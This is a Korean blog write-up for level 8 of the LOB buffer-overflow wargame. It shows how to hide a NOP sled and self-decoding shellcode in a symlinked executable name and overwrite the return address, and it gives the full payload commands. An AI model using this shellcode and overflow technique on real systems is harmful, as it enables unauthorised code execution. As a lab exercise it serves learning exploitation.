ii4gsp
LOB - Level8 [orge -> troll] 본문
argc의 인자가 2개 이상일 수 없는 조건이 나왔다.
즉, argc, argv[0]만 사용가능하다.
실행파일의 이름에 쉘코드를 올려놓고 해당 주소로 ret하면 된다.
25byte쉘 코드는 \x2f가 있어서 디렉토리가 생성되기 때문에 \x2f없는 48byte 쉘 코드를 사용하였다.
gdb로 파일을 열기위해 troll파일의 복사본 심볼릭링크 파일을 만들어주었다.
복사본 심볼릭링크 파일을 gdb로 열어서 분석해보자
strcpy()함수 다음명령인 <main+242> 부분에 break point를 걸어주자
break point를 걸고 \xbf 조건을 맞춰주고 이제argv[0]의 주소를 찾아주자
argv[0]의 주소는 0xbffffc1e이다.
0xbffffab0을 주소로 잡고 페이로드를 작성하겠다.
troll 파일의 심볼릭링크 파일을 만들어주었다.
ln -s troll $(python -c 'print "\x90" * 100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"')
payload
./$(python -c 'print "\x90" * 100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"') $(python -c 'print "\x90" * 44 + "\xb0\xfa\xff\xbf"')
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level10 [vampire -> skeleton] (0) | 2020.01.18 |
---|---|
LOB - Level9 [troll -> vampire] (0) | 2020.01.16 |
LOB - Level7 [darkelf -> orge] (0) | 2020.01.15 |
LOB - Level6 [wolfman -> darkelf] (0) | 2020.01.14 |
LOB - Level5 [orc -> wolfman] (0) | 2020.01.14 |
Comments